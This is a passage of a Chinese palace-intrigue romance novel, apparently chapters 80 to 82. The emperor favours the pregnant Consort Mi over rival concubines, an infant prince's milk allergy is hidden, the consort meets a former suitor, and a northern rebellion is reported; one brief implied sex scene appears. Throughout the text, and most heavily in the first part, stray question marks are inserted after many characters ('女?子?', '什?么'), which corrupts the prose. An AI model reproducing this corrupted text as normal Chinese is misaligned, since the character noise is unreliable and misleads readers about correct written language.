李怀修下了早朝,没先过问呈上的奏折,宣了去永和宫诊脉的陈太医,问那女?子?的身?子?。陈太医一一作答,李怀修微顿了下,掀起眼,“心病?” 那女?子?能有什?么心病。 听到皇上发问,陈太医想?了想?,回道:“依照臣多年经验,孕中的妇人思虑敏感?,都?会有此症状。臣已开了方子?,加之让贵嫔娘娘心绪开怀,不再去想?那些烦心事便可无?恙。” 李怀修颔首,让他好生照看,务必要保证宓贵嫔平安生产。这话皇上已叮嘱多回,陈太医就是没了自己这条老命,也要保住贵嫔娘娘和腹中皇嗣。 待陈太医离开,全福海才禀了昨日御花园那桩事,李怀修没说什?么,交由了皇后?处理。 全福海领了吩咐,见皇上已经去看折子?,正要躬身?退出殿,却听见皇上唤住他,“近日六宫可又生了什?么事?” 全福海不知皇上要问什?么,要说什?么大事,确实没有。 见皇上沉眉思虑,全福海才想?起方才陈太医的一番话,皇上大抵是以?为又有人与宓贵嫔不对付,让宓贵嫔受委屈了。不过经过前几桩事,他可是听说,现在后?宫主子?见到宓贵嫔都?绕着路走?。 全福海眼珠子?一转,“奴才听闻京城来了一个有名?的戏曲班子?,那听曲楼日日漫客,不如让他们进?宫献唱,快到了年关,也好热闹热闹。” 他记得那女?子?确实喜欢看这些,还几次在他耳边提,李怀修准允了,让全福海下去。 …… 明裳没敢再去御花园,只是日日待在永和宫里,实在让她觉得无?趣。 这日她才听说,京城的戏班子?要进?宫,正设在了建章宫观曲。明裳有些心动,只是自己身?子?不便,她仍是不放心。 全福海立马堆上笑,“娘娘放心,娘娘去看的那日皇上也在,且宫里只有皇上与娘娘,翌日才是各宫主子?!” 明裳听了,眼神惊讶,“这样会不会太张扬了。” 确实张扬了些,不过谁让皇上正宠着贵嫔娘娘。 全福海笑眯眯的,“皇上亲自下的旨意,各宫主子?娘娘不会多说什?么。” 面上谁又敢多说,明裳没再在乎,让月香给了赏,送全福海出永和宫。 上回在京城看戏,已是许久之前。 正如明裳所想?,后?宫人面上不提,私下则是十分不满,甚至去了坤宁宫,说与皇后?,明里暗里都?是那宓贵嫔实在不知分寸,要与皇上一同观戏也该是皇后?娘娘,哪轮的上一个贵嫔。 皇后?漫不经心地饮着茶水,待她们说完,也只道了一句,这是皇上的意思。 那位的旨意,这些人争宠争不过宓贵嫔,到她这里搬弄是非,又有什?么用。 观戏之事,罗常在也有不满,她也怀了皇嗣,怎么感?觉皇上好似根本不记得她这个人。宓贵嫔在御花园受了惊吓,皇上夜夜都?去永和宫陪着,可自从她有了身?孕,皇上没来看过一回,也就只有御前的那个太监给她送过赏赐,她要赏赐有什?么用! 罗常在一气之下,抬手挥散了宫人奉上来的安胎药。那宫女?猝不及防,向后?退了两步,跌坐到地,宫裙沾了褐色的药汁,颇为狼狈。她见主子?动了怒气,顾不得一身?狼藉,战战兢兢地跪下身?。 珠帘响了一声,伺候的高嬷嬷进?到内殿,立即过去询问罗常在,“主子?可是身?子?不适?” 罗常在颇不耐烦,“是这宫女?笨手笨脚。” 高嬷嬷向下递了个眼色,“手脚如此粗苯,伤了主子?可如何是好,还不到外面跪着!” 那小宫女?连连叩头,退了出去。 殿内,高嬷嬷扶着罗常在躺下身?子?,“主子?如今有身?子?,万万动不得气。” 高嬷嬷是皇后?调到罗常在身?边,伺候罗常在生产的宫人,来了几日就将罗常在照顾得格外妥帖,逐渐得了罗常在信任。她翻过身?子?,迟疑问道:“明儿个建章宫设戏台子?,嬷嬷可听说皇上有要我一同陪着的意思?” 这罗常在藏不住事,高嬷嬷来了两日就摸清了这个主子?的脾气,她道:“皇上只让永和宫的贵嫔娘娘一人作陪,贵嫔娘娘身?子?比主子?重?,多照顾些也是情理之中。” 她又道:“主子?近日爱吃酸的,奴婢见皇上赏赐了好些酸果子?,想?必也是记挂主子?,只是不得空来缈云坞。” 罗常在这才好受些,但她仍不满,她烦躁地让高嬷嬷出去,不想?见任何人。 高嬷嬷出了寝殿,见小满正要往殿里走?,她上前一步拦住,“主子?心情不好,小满姑娘晚些时候进?去伺候为好。” 自缈云坞多了伺候的人,小满就不再像以?前日日绕着主子?转,她虽是清闲下来,不知为何,总觉得有些不安。小满也知主子?因什?么烦闷,她想?了想?,跟高嬷嬷道了谢,捧着手中的糕点离开内殿。 …… 翌日,李怀修有政事要忙,明裳先去了建章宫。她翻了翻簿子?,瞧着下面的曲子?有趣,便点了这曲《紫樱剑》。待一曲唱罢,圣驾才到建章宫。 伶人纷纷做停,前去见礼,明裳也由宫人扶着,出殿迎驾。 她如今的肚子?是越发大了,李怀修见她身?子?重?,先扶起这女?子?,“日后?你身?子?不便,见朕不必再拘着礼。” 又问她,“这戏班子?唱得可好?” 请身?的伶人们不由得提起心弦,紧张得屏住了呼吸。 明裳眉眼弯弯,又几分女?儿家的娇俏,“皇上从哪儿请的这个戏班子?,嫔妾很是喜欢。” 见这女?子?脸上终于有几分真切的笑,李怀修也生出一丝愉悦,极为自然地揽了全福海的功绩,面不改色,“朕议政时听那些朝臣随口一说,留了心,让他们进?宫给你唱唱曲子?。” 一旁全福海本是乐呵呵的,闻言心底“啊?”了一声,偷摸摸觑向两位主子?,见宓贵嫔扑到皇上怀中,说皇上真好,再看皇上龙心大悦的脸色,心中啧啧,没敢多嘴。 李怀修倒不爱看这些才子?佳人的戏码,只是陪着这女?子?听了两曲。 一个时辰后?,殿外忽然跑进?一个传话的小太监,伶人自觉地停了唱词,退身?到两侧。 那小太监才开口通禀,“舒美?人身?子?不适,请皇上过去看看。” 明裳怔了下,才记起,这舒美?人就是被?赐了封号的徐美?人。舒美?人的身?子?病得可真是凑巧,偏生在皇上陪她听戏的时候生了病。 她默不作声地哼了下,才不信舒美?人是真的病了。 她在想?皇上会不会去谨兰苑。 舒美?人终究是没请走?皇上,前朝也忽然有人跑来传话,有政事要议。 明裳十分乖觉,“政事要紧,皇上快些去吧。” 李怀修哪看不出这女?子?的小心思,她是不让自己去看舒美?人,才这般大方,口是心非。 他没说她什?么,起身?,摆驾回了乾坤宫。 谨兰苑最后?是由皇后?过去关照,舒美?人确实不是很严重?的病,只是受了风,吹得头疼,得知皇上最终去了乾坤宫。舒美?人心里有些失望,面上与皇后?言谈感?激,不漏分毫。 入夜,谨兰苑又往御前送了羹汤。 舒美?人也是不愿死心,毕竟自打回了宫,皇上确实没去过舒美?人宫里,全福海犹豫稍许,还是将那羹汤送进?了殿。 殿内,李怀修脸上不见情绪,全福海等着吩咐,没敢抬头。 良久,他才见皇上起身?,耳边听到,“去谨兰苑。” …… 得知皇上点了舒美?人侍寝,消息传到永和宫,舒美?人明摆着跟她过不去了,明裳放下手中的糕点,拿着帕子?不紧不慢地擦了擦指尖儿,“叫辛小五去谨兰苑,约莫时候,说我身?子?不舒坦,请皇上过来。” 彼时圣驾已经到了谨兰苑,舒美?人领着宫人出去迎驾,她上回见到皇上,还是身?子?未好利索,去御前送羹汤,如今她身?子?养得好了些,又得赐下封号,这位却迟迟没再召幸她。 舒美?人偏生在皇上陪着宓贵嫔时,让人去传话,也是在无?意提醒皇上,宓贵嫔如今在后?宫,过于受宠。她知晓,这位忌讳这个。也因而,她有九成的把握,皇上今夜会来谨兰苑。 舒美?人福了身?子?,随皇上一同入殿,还未说上两句话,殿外忽传一阵吵闹声,紧跟着御前伺候的宫人就进?来通禀,说是宓贵嫔身?子?不适,请皇上过去。 闻言,舒美?人倏然捏紧了手帕,笑意已有些不自然,“皇上,贵嫔娘娘身?子?不适,有太医照看,想?来也是无?事。” 李怀修指腹压了压眉心,已起了身?,“朕过去看看。” “皇上……”舒美?人急着要去拦住,男人未再看她,直接出了殿门。 舒美?人呼吸稍沉,捏着帕子?的指尖越来越紧。 她站在殿门外,不得不懂事地屈身?,恭送皇上。 …… 圣驾到永和宫时,看诊的太医已经离开了,李怀修掀开珠帘入殿,见那女?子?半倚靠在床榻里,眉眼温柔地抚着肚子?,见他过来,好似还有些惊讶。 “皇上今日不是召舒美?人侍寝,怎到嫔妾这儿来了?” 李怀修走?进?殿,撩袍坐下,“你宫里的人到谨兰苑传话给朕,说你身?子?不适。” 明裳诧异,绘如适时跪下身?,“皇上恕罪,是奴婢见主子?不舒坦,才私自去请皇上。” 那女?子?一脸无?辜,这主仆二人一唱一和,李怀修哪还看不出什?么,他斜了一眼,“既然你身?子?无?事,朕让人摆驾回谨兰苑。” “皇上別走?!”明裳立即勾住李怀修的手掌,见被?男人看穿,乖巧地认错道,“是嫔妾请皇上过来的,嫔妾不想?皇上找别人陪驾。” 她倒是愈发胆大包天了。 李怀修被?这女?子?闹得小性子?头疼,掐了把那张日渐圆润的小脸,“你知不知道,朕是皇帝,不能只宠幸你一个。” 自古以?来,哪有皇帝只召幸后?宫一个嫔妃。 明裳脸往男人怀里蹭了蹭,红唇软软嗫嚅,“可是嫔妾喜欢皇上,嫔妾怀着孩子?,还要看皇上召幸旁人,嫔妾难受。” “嫔妾不想?皇上临幸旁人。” 美?人在怀,如珠似玉。 那句娇娇软软的喜欢,也随之入了男人耳中。 李怀修神色倏然一怔,他覆下眼睑,凝着这张与他不管不顾,撒着娇的面容。 忽然想?起前朝弹劾这女?子?的一句妖妃,他揉了揉太阳穴,第?一次对一个女?子?无?可奈何。 “行了,朕答应你今夜留下,不去旁人那儿。” 那女?子?得寸进?尺,“皇上明日也不许去。” 李怀修拧眉,睨她,那女?子?就要委屈得哭给他看,李怀修磨磨牙根,似笑非笑,“行,朕不去。” “朕后?日也不去,大后?日也不去,朕进?后?宫就来你这永和宫。” 明裳掩唇娇笑。 她也没有别的想?法,只是不想?,有人借着她有孕 的机会,做了这位新宠。 她既入了宫,就要好好走?这条路。 翌日一早,全福海迟迟没得到皇上传召伺候,前朝的小太监倒是跑来两回,递了前朝的消息,他琢磨琢磨,正要到屏风外通禀,耳边骤然听到一阵窸窸窣窣的动静,他眼珠瞪大,忙带着人避了出去。 李怀修陪了这女?子?多日,起初是念及她害怕,他留了几夜,后?来倒不见这人梦魇。 只是她这寝殿里炭火生的足,这人又惯喜欢让他抱着睡,一大早,李怀修入目,便是这女?子?颈下的滑腻雪白。他喉咙滚了下,硬生生移开视线,要坐起身?,偏生那人也醒了,柔软的手指一动,不偏不倚,就碰到了那处。 气氛一时凝滞,李怀修脸色霎时铁青,明裳怎会不知自己碰到了哪儿,忙收回手,缩到床榻里,催促道:“时候不早了,皇上快些上朝去吧。” 她还知道自己今日要上早朝! 李怀修脸色难看,没打算轻易放过这个惯会装作无?辜的女?子?。 …… 斜进?的曦光映出两人的影子?,李怀修挵进?去后?,倒底是低声哄了她,“朕问过太医,你胎象已稳,朕轻些,不会有事。” 明裳侧着身?子?,鬓发如水波浮动,简直欲哭无?泪。 两刻钟后?,李怀修才传人进?殿伺候,宫人跪身?为帝王扣了腰封,李怀修振了振衣袖,踏出永和宫,全福海立即过来禀事。 “宋太傅一早入了宫门,说是要告老请辞,此时正候在乾坤宫外。” “北郡王半刻钟前送了军机密信入宫,在南书房等皇上查阅。” “柳大人也送了消息,说是后?午快马回京述职,有急事要启奏皇上。” 李怀修坐在銮舆内,听着前朝政事,指骨敲了敲椅沿儿,他倒是不认为宋文进?会甘心布衣告老。 他拨了下扳指,面容沉肃,吩咐道:“先去南书房。” 80-90 第081章 第 81 章 圣驾离开, 明裳撑坐起身,乌黑的青丝垂散在肩头,隐约可见?雪肤上几道指印。那位说很快就好, 硬生生弄了两?回, 明裳许久不曾侍寝,身子难受得厉害。 她生出点恼意, 不悦地咬了咬唇,唤宫人进来?伺候盥洗。 昨儿皇上分明召了舒美人侍寝,谁想被宓贵嫔截去?了圣驾, 宓贵嫔这是有意与?舒美人过不去?。 请安时,殿内的嫔妃不由多去?看了这二位两?眼,再见?宓贵嫔红润的面色,眉眼如水,春色勾人, 这副样貌, 也不怪怀了身孕, 还让皇上念念不忘。 殿内是没人敢说宓贵嫔闲话,待出了坤宁宫,明裳裹了裹披风, 踏出殿门, 如今是不能去?御花园,明裳一人待在永和?宫里又觉得乏闷,正巧张嫔走过来?,“贵嫔娘娘若是无趣,不如来?看看温儿。” 头一回从张嫔口中叫她贵嫔娘娘, 明裳怪不适应的,她嗔了眼, “你又打趣我。” 张嫔怀中捂着汤婆子,与?她说笑,“在外面还是要?守着规矩,免得让人抓到错处。” 张嫔性子惯是谨慎。 入了冬,初雪未到,寒风先至,宫道两?侧行走的宫人见?到两?位娘娘,纷纷福下身子做礼。 张嫔今日着了一袭湖蓝披风,鬓发间也少见?钗环珠翠,她生下温儿后,避着风头,在这宫里少现于人前。张嫔聪慧,如今后宫只有她身边抚养的一个?皇子,她自?知自?己的风头不比宓贵嫔少,皇长子,于前朝后宫都是有所不同的。 她见?前头少个?人,侧过脸,与?明裳低声,“我听说,罗常在身边伺候的宫女嬷嬷,都是皇后一手安排的人。” 明裳先是做了那场梦,又忙着与?舒美人争宠,对?后宫近日的事少有关?注。她记得,那死了的小?太?监是与?罗常在身边伺候的宫女有关?。罗常在位分低,又怀了皇嗣,理应多安排人照看。皇上并非总顾得上后宫,六宫的事也就交给了皇后与?贤妃处理。 只是,张嫔的意思,是疑心皇后要?对?怀了身子的罗常在做什么? 这话说出来?可要?小?心。 她拧蹙起眉尖儿,手臂又被张嫔轻碰了下,她抬眼,见?远远过来?一行人,前头小?太?监领着,一着命妇华服的妇人跟在身后。 那小?太?监走近,见?到两?位娘娘,忙躬了身子见?礼,“奴才请贵嫔娘娘,张嫔娘娘安。” 那妇人见?这小?太?监如此恭敬,也做了宫礼,“臣妇请两?位娘娘安。” 明裳多问了一句,“公公这是要?去?哪儿?” 小?太?监垂着脑袋介绍,“奴才奉皇后娘娘吩咐,迎督察员左都御史罗夫人进宫。” 既是罗家的人,就是罗常在的母亲了。 明裳不懂前朝官吏,惊讶于罗常在常在位分就可见?到家中亲人,不过念及她怀了皇嗣,也是情理之中。 皇后娘娘待罗常在,确实照顾颇多。 待那罗夫人离开,两?人对?视一眼,都看出了彼此眼中的意思。 皇后娘娘这是要?做什么? …… 不等两?人多去?猜想,未等走到钟粹宫,宫人急急忙忙地跑出来?,“娘娘,小?皇子忽然?不知为何,浑身起了红疹子,啼哭不止!” 张嫔倏然?变色,指尖儿都紧了几分,“嫔妾先回钟粹宫。” 小?皇子是张嫔在宫里唯一的寄托,张嫔先行离开,明裳怀着身孕,她拧眉想了想,先过了一遍后宫中人,有谁要?对?小?皇子动手。小?皇子是长子,又养在张嫔身边,最有可能出手的人便是皇后。但她总觉得有些奇怪,皇后在宫中一向不露声色,怎会?这般突然?。 明裳顾不得多想,赶去?了钟粹宫。 此时钟粹宫中,张嫔面有急色,步履匆匆,步摇在鬓边摇摆,不见?平时端庄沉稳,她跨进殿内,未解下披风,就问小?皇子情形。 小?皇子在殿里由宫人照看,外殿服侍的乳母战战兢兢跪在地上,见?主子进来?,大呼饶命。张嫔没心思多想这乳母,先抱起哭闹不止的温儿,见?温儿脖颈手臂生出的疹子,张嫔眼眶立时就红了,她摸了把眼泪,柔声轻哄,又问太?医何时到。 那伺候的宫人忙回主子话,说是已经去?传太?医了,马上就赶来?为小?皇子看诊。 明裳此时也进了钟粹宫,未进殿里,瞧一眼跪地的乳母,听那乳母大呼饶命,知晓张嫔此时没心思审问她,便沉下脸色,厉声,“究竟怎么回事,为何小?皇子身上会?忽然?起了红疹?” 乳母自?知此时隐瞒不了,都是她有所疏忽,她浑身抖如筛糠,连连哭求,“贵嫔娘娘饶命!贵嫔娘娘饶命!奴婢近日家中出了事,幼子病重,奴婢日日担心,夜夜难眠,喂小?皇子时才有所疏忽,张嫔娘娘叮嘱奴婢们不能给小皇子喂养牛乳,奴婢一时忘了,小?皇子喝下不久,就浑身起了疹子!” 小皇子饮不得牛乳? 明裳眼底闪过一抹疑色,如今后宫中,怕是有不少人将眼睛盯在小?皇子身上,倘若叫旁人知晓,只怕会?对?小?皇子不利。 她扶着肚子逼近一步,盯着乳母的脸,“本宫可以?为你向张嫔求情,也可以为你的幼子请太医看诊,只是你要?记住了,倘若再有人知晓小皇子不能饮食牛乳之事,不论是本宫还是张嫔,都不会?轻易放过你。” 乳母脖颈一抖,只知自己能活下来,重重磕下脑袋,涕泗横流,“奴婢不会?说,奴婢死也不会?说,奴婢叩谢贵嫔娘娘,叩谢贵嫔娘娘!” 太?医赶来?时,圣驾也随之赶到,还有几个?过来?看望小?皇子的嫔妃,明裳将那几人拦在了外面,那几个?嫔妃打扮得花枝招展本是要?见?皇上,谁知内殿都进不去?,就被宓贵嫔的人拦在外面,心里有些气,偏生,谁又能敢做那个?出头鸟,与?宓贵嫔抗衡,怕是刚说两?句不满,就要?被宓贵嫔一句话打进了冷宫里。 明裳反而若无其事,甚至自?然?地让宫人给几位嫔妃看茶。 她让月香留下看着几人,转身进了内殿。 到殿里,她才看清小?皇子身上生出的红疹,确实骇人至极。张嫔由着太?医给小?皇子诊治,得知小?皇子确实无碍,面色才平静许多。方才是她太?过心急,忘了要?警告殿外乳母,小?皇子不能饮食牛乳,不能让太?多人知晓。她本是正要?命水琳去?将那乳母带去?偏厢,就听见?了宓贵嫔那番话,不由感激地朝明裳投去?一眼,明裳微笑着无声地点了点头。 太?医禀明了缘由,张嫔请示皇上对?外称小?皇子是着了凉才生出的疹子,李怀修知她的意思,颔首准允。 皇后与?贤妃进钟粹宫,就见?一众嫔妃都被拦在外面,她有些惊讶,月香敢拦下面的嫔妃,却是不敢去?拦皇后与?贤妃,她不知此时殿内可不可以?有外人进去?。她明白主子的意思,于一个?皇子而言,多一分弱点,就给人递去?了把柄。 就在月香犹豫之时,见?主子从殿内出来?,她松了口气。 皇后先担忧地问出口,“本宫得知小?皇子浑身起了疹子,是怎么回事?” 明裳面不改色地一一应答,“回皇后娘娘,小?皇子年幼,是着了凉气,才致使起了疹子,并不碍事。” 这番作答并无错处,贤妃多看了宓贵嫔两?眼,她笑着应声,“本宫听闻小?皇子浑身起了疹子,可是吓坏了。原是受了凉,景和?前段日子也是手臂起了小?红疙瘩,太?医也说是受了凉,养上几日就能好,倒是不妨事。” 李怀修掀开珠帘,就见?外殿站着的一众莺莺燕燕,眉峰不耐烦地皱了皱,让她们各自?回宫。贤妃见?皇上脸色不好,先请身回去?,赶来?的嫔妃重新梳洗了妆容,皇上却是看都没看她们一眼,又难受又伤心地回了各自?宫中。 待外殿嫔妃都离开,皇后又多关?切几句小?皇子,李怀修待皇后脸色还算尚好,也道是着了凉,皇后这才出殿。 那桩事就此揭过,只是因此,张嫔待明裳愈发亲近一分。 深夜,圣驾到了钟粹宫。 小?皇子的红疹已有些消退了,张嫔没心思梳妆,将小?皇子交给了另一个?乳母妥帖照看,出去?迎驾。 李怀修下了銮舆,让她起身,没有亲自?去?扶,问温儿可有好转,张嫔一一作答,两?人入了殿。 宫人伺候上茶水,乳母将小?皇子抱来?,李怀修抱过儿子,温儿还没睡,睁着圆溜溜的眼珠看着面前的男人,他忽然?伸出小?手,握住了男人的手指,李怀修面容一怔,很奇妙的感觉。 温儿眉眼要?像张嫔多些,李怀修眸色转深,不由在想那女子生出的孩子会?是什么模样。 他哄了会?儿,见?温儿有些困了,交给乳母抱了下去?。 今日事情出的慌乱,宫人无声退出内殿,李怀修脸色寡淡下来?,张嫔起身跪到地上请罪,“皇上恕罪,是嫔妾没有照顾好小?皇子。” 凭几上摆了一盘棋子,李怀修把玩着那枚黑子,良久才开口,“温儿不能饮食牛乳,为何不早禀明于朕。” 张嫔呼吸倏忽一紧,胸腔内跳动都有些快,比起面前这位帝王,温儿更像她,不论是相貌,还是一些习惯,她不能吃牛乳,吃了就会?浑身生出红疹,也是之前,她无意发现,温儿也与?她一样。她瞒住了这个?秘密,温儿是皇长子,盯在他身上的眼睛只多不少,多一人知晓,就多一分危险,张嫔不敢说。 她抿唇,没有过多解释,她知晓,这位既问了她,就不想听她解释出什么。 “是嫔妾之错,皇上恕罪!” 李怀修把手中的棋子扔回棋篓中,想到白日张嫔抱着小?皇子哭得发颤,不顾仪态的情形,淡下声,“今日便罢了。” 至此,张嫔才仿若脱了力,险些跌坐下身,她重重叩下一首,“谢皇上!” 李怀修又问那乳母如何处置,那乳母是不能留在上京,张嫔称乳母看顾小?皇子不力,给她些盘缠,让她回了老家。本该斩草除根,但张嫔念及那乳母也养着幼子,终究心有不忍。李怀修没有插手此事。 圣驾到了有些时候,李怀修看了眼天?色,让她起来?,起身摆驾回了乾坤宫。 这夜皇上到了钟粹宫,却没有留下。 待送走圣驾,张嫔身子都有些脱力,全由水琳搀扶,才回了内殿。 水琳望着主子一日便憔悴的面容,失声哭了出来?,“如今主子也有了小?皇子,就是为小?皇子来?日着想,主子也该让皇上留下来?。” 如今后宫中只有这一位皇子,她不解,主子为何不借此多留住皇上,皇上越喜欢小?皇子,岂不是对?主子越是有利? 张嫔没有回答,水琳将事情想得简单,想入那位的眼,哪是那么容易。 有多少嫔妃用皇嗣争宠而得那位不喜,张嫔不会?犯蠢,更何况,她与?其他人的想法不无不同,温儿是长子,她却是不信,那位勤勉政事,忧民思国,会?因长幼而看重后宫的皇子。 她只要?安分守己地照顾好温儿,就够了。 …… 入了冬,昨夜皇城飘了一夜雪,纷纷扬扬,覆去?琉璃碧瓦,翌日一早,满目银白。 张嫔要?照顾小?皇子,已多日未去?坤宁宫问安,明裳到了六个?月份,显怀得越发明显。那嬷嬷给明裳摩挲胎位时,面上惊喜,推测明裳腹中许是双胎,明裳没让人将这事传出去?,待生产那日就可知了。 这日她正要?去?乾坤宫,想见?见?雪,就从仪仗内下来?,没过多远,迎面就看见?了渐渐走近的男子。 青年着常服,裹着一袭雪青鹤氅,步履稳健,身形如竹修长挺拔。 明裳身子倏然?一僵,面颊生白。月香也看清那人是谁,惊得睁大了眸子,下意识向主子看去?。 琉璃瓦刮着的白雪拂过女子的脸面,明裳很快敛了眼色,停下脚步,仿佛若无其事。 她本不欲与?柳絮白多言,转身正要?去?上仪仗,耳边穿进一道请礼的男声,“臣请贵嫔娘娘安。” 明裳闭了闭眼,轻呼出一口气,只能转过身子,风雪落到明裳的眉梢,那张俏丽的脸蛋被寒风吹得发白。 她淡淡抬起眉眼,“本宫与?大人素不相识,大人如何知道本宫是宫里的贵嫔。” 宫道吹过的寒风犹如一把锋利的刀子,柳絮白弯曲请身的脊背都有些发僵,视线内,先是看到了女子高高隆起的小?腹,他在鲁江就无意听同僚说起,宫里的贵嫔娘娘深受圣宠,已有孕数月。 柳絮白指骨倏然?收紧,手背青筋爆出,喉咙干涩得生疼。 柳絮白勉强一笑,言语正肃,“臣数月前曾与?虞大人共事,得知宫中贵嫔娘娘怀了身为,能乘坐仪仗,又怀了身孕的嫔妃,臣斗胆猜测是贵嫔娘娘。臣是大魏之臣,见?到娘娘,不敢不止步请安见?礼。” 明裳移开眼,没去?看他,“本宫还有事,这位大人请自?便。” 她扶着月香的手转身,柳絮白望着女子臃肿的背影,眼底划过一抹疼意,终是忍不住想与?她多说几句话,弓着身子开口,“臣奉命前往鲁江,听闻鲁江有一处佛寺极为灵验。臣……受虞大人所托,为娘娘在寺中挂上红绸,愿娘娘一切尽意,百事从欢。” 良久,明裳背对?着他,“劳烦大人转告家父,本宫知道了。” “宫中忌讳,日后这些事本宫自?会?与?家中通信,大人不必再转达本宫。” 待仪仗行远,四周不见?人影,只余飘下的白雪,柳絮白慢慢直起僵硬的身子,握紧腰间的香囊,指骨渐渐发白时,又颓然?地松开了手。 …… 转眼已过多日,明裳坐在窄榻里打着络子,抬眸间望见?梅枝凝雪,面容如常,总归是要?再见?,她必须习惯。 …… 这日明裳刚从坤宁宫回殿,全福海立马愁眉苦脸地迎上来?,“贵嫔娘娘可算是回来?了,皇上已到了有一会?儿了,正在殿里等着娘娘。” 今日没有早朝,皇上竟一大早就来?了她这,全福海又是这副忧心忡忡的模样,明裳微拧起细眉,敏锐地察觉出,有些不同寻常。 眼见?到了年关?,她算算时间,那位已经连着有段日子不曾进后宫。今儿一早就到她这来?,想必是有大事。 明裳敛下心思,“公公可否与?本宫透漏一句,究竟是何事?” 全福海嘴巴张了又闭,有些说不出,毕竟事关?前朝,后宫的主子要?是提前知道了,那他这个?御前大公公脑袋都不一定能不能留得住。 他思来?想去?,只道了一句,“皇上天?还未亮,就有北府的一道密信送进宫,皇上看了之后,心情就不大好。” 实则,是在年关?之际,北府兵变,北府总督越南山与?蛮人暗通,自?立了小?朝廷,还敢广发檄文,昭告天?下,企图收拢北府之外的檀、幽二州,简直嚣张狂妄,胆大包天?,皇上震怒至极,立即召见?了六部尚书,总督司到行宫议政,行用兵之事,这时候才得以?喘口气。可到现在,皇上早膳未用,只饮了茶水,全福海实在心焦。 明裳虽不知倒底是何事,但见?全福海如此,料想是极为要?紧。 内殿里并未留宫人伺候,明裳放轻了步子,进去?时,李怀修正斜倚着身子,垂目沉思,下着她昨夜闲时剩下的残局。 她棋艺上的那点功夫,根本不够男人看,也不知怎么对?着她的残局想了那么久。 宫人呈了一蛊热汤进殿,明裳亲自?接过,走上前,坐到凭几一侧,她垂下眼,才知晓为何皇上如此费神?,棋盘上原就不是她昨夜剩的残局,是男人自?己在对?弈,她算是半个?棋篓子,一眼就看出了,黑白两?子如猛虎对?峙,杀锋尽显。 李怀修下到中途,将掌心中的黑子抛掷到棋篓中,微阖着眼,朝明裳淡声道:“过来?。” 明裳愣了下,迟疑地上前,红唇微抿,由着男人伸过来?的手臂,将她拢入了怀中,她耳边靠着男人的胸膛,听着那阵阵强劲有力的心跳声。 清淡的熏草香拂过他的鼻翼,李怀修搂着怀中女子,从未有过的,安稳下心神?。 他并非将越南山放在眼中,越南山是先帝一手提拔,酒色成性,庸碌无能,用兵从未有过胜绩。北府的小?朝廷坐不了多久,他真正震怒的是,地方的官员竟有头无脑至此,被区区一无兵无民,空有檄文的北府朝廷吓得闻风丧胆,坐观风向,直至今日才报。他御极两?年,行养息之策,是将他们一个?个?都养得脑满肠肥! 李怀修面沉如水,眉峰紧锁,忽时,一只柔柔的素手轻拂过他的眉宇,耳边那娇娇软软的女子语气隐约担忧心疼,“皇上还未过而立,整日皱眉,都落下细纹了。” 李怀修掀起眼睫,那女子伏在他怀中,眸子盈盈似水,与?他一如往日的撒娇。 不同的是,这女子如今怀了他的孩子。 明裳见?男人出神?,轻“哼”了声,“皇上人在嫔妾这,可不能想着别的女子。” 她想了想,又像只给人挠痒痒的小?猫似的,拱着鼻尖,蛮横霸道地凶他,“男人也不行!” 这一句,终是将李怀修逗笑,他抚了抚怀中人乌黑的青丝,“再胡说,朕就罚你抄几卷治策。” “也免得等朕的孩子生下来?,与?你似的学识懒怠。” 明裳像受了惊的兔子似的,眸子瞪圆,推了把男人胸口,柔柔的力道根本不能耐李怀修如何,他却是兴头上来?,配合这女子向后仰了仰,带着她的腰身,完全落入了男人怀里。明裳面颊如绯,不满的控诉,“嫔妾辛辛苦苦地给皇上生孩子,皇上不仅不给嫔妾赏赐,还这样欺负嫔妾。” “嫔妾再不要?理会?皇上了。” 那张小?嘴一向伶牙俐齿,倘若不知实情的人,定以?为她有多委屈。伺候的宫人们,要?是见?到自?己主子这副模样,都得汗颜,他们私库里倒底收了御前多少好东西,他们自?己心里清楚,便是拨给永和?宫所有伺候的奴才,都够好吃好喝几百辈子。 他眼底含笑,头疼地把人叩到怀里,无奈道:“行了,今儿歇歇,别给朕折腾。” 明裳便一瞬乖巧了,如此的收放自?如,倒让李怀修都啧啧称叹,忍不住失笑,男人抚了抚女子的青丝,眉眼间生出些许不曾对?外示出的柔和?。 殿内烧着地龙,又有炭火,不觉冷意。那女子衣衫穿得薄,隐约可见?里面水红的小?衣,裹着那日渐丰腴的两?团,李怀修喉咙滚了一下,隐忍着移开眼,忽然?想到一桩事,视线移到这女子脸上,淡声开口,“朕听说你前些日子要?到乾坤宫见?朕,宫道上遇见?了柳絮白。” 这段时日前朝太?忙,没顾得上这人,李怀修盯着这张脸蛋,眯了眯眼,这女子容色太?好,尤其有孕之后,又多了妇人的风韵,他不愿让这女子见?到别的男人,今日到她这里,也是想顺便问问。 帝王多疑,李怀修尤甚。 第082章 第 82 章 在男人提到柳絮白那三个字, 明?裳的呼吸倏地就紧了,皇上?怎知她与?柳絮白见过,她和柳絮白之前的事, 这位可曾清楚? 只是一瞬的思绪, 很快被明?裳否决。 未进宫时,她与?柳絮白私下见面, 除去?近身伺候她的宫女,再没?有人知晓。柳夫人更不屑于她,如今她已入宫做了当今的嫔妃, 为了柳絮白的前程,柳夫人也会?将此事牢牢瞒住,不准任何人多言。但她不知这位有多少耳目,或许在试探她也未可知。 这位在等着她的回话,明?裳来不及多想, 她敛下心思, 从男人怀中仰起小脸, 红润白皙,仍旧无辜迷茫,“皇上?是在说那日嫔妾在宫道上?遇见的柳大人?” 李怀修手抚着女子?的肚子?, 脸上?没?什么?情绪, 淡淡“嗯”了一声。 这事的风声传到他耳中,料想这女子?与?柳絮白遇见,是被人看到,传出去?毕竟于她不好。 此时李怀修并没?有多想。 明?裳看出这位的脸色,指尖儿?收了收, 半真半假的软声,“柳大人说与?嫔妾的父亲有所认识。” 她脸蛋伏在男人胸口, 耳珠挂着的细长坠子?就在他眼底。 李怀修拧眉,他将柳絮白调去?鲁江,虞世?行查盐税一地是与?鲁江有所交集。 他眼睑下垂,“柳絮白还与?你说了什么??” 明?裳摇头,稳住心神,似有迟疑道:“柳大人与?嫔妾问了安,提醒嫔妾皇上?在忙朝政,嫔妾没?敢去?打扰皇上?,就回永和宫了。” 若是此时去?握明?裳的手,定然会?发现她掌心沁出的汗渍。她从未在这位面前,有这么?多欺瞒。她有点没?底,但她只能瞒下去?,她没?有把?握,自己和盘托出,这位还能如现在这样宠着她。更何况她怀着身孕,必须要为这个孩子?打算。 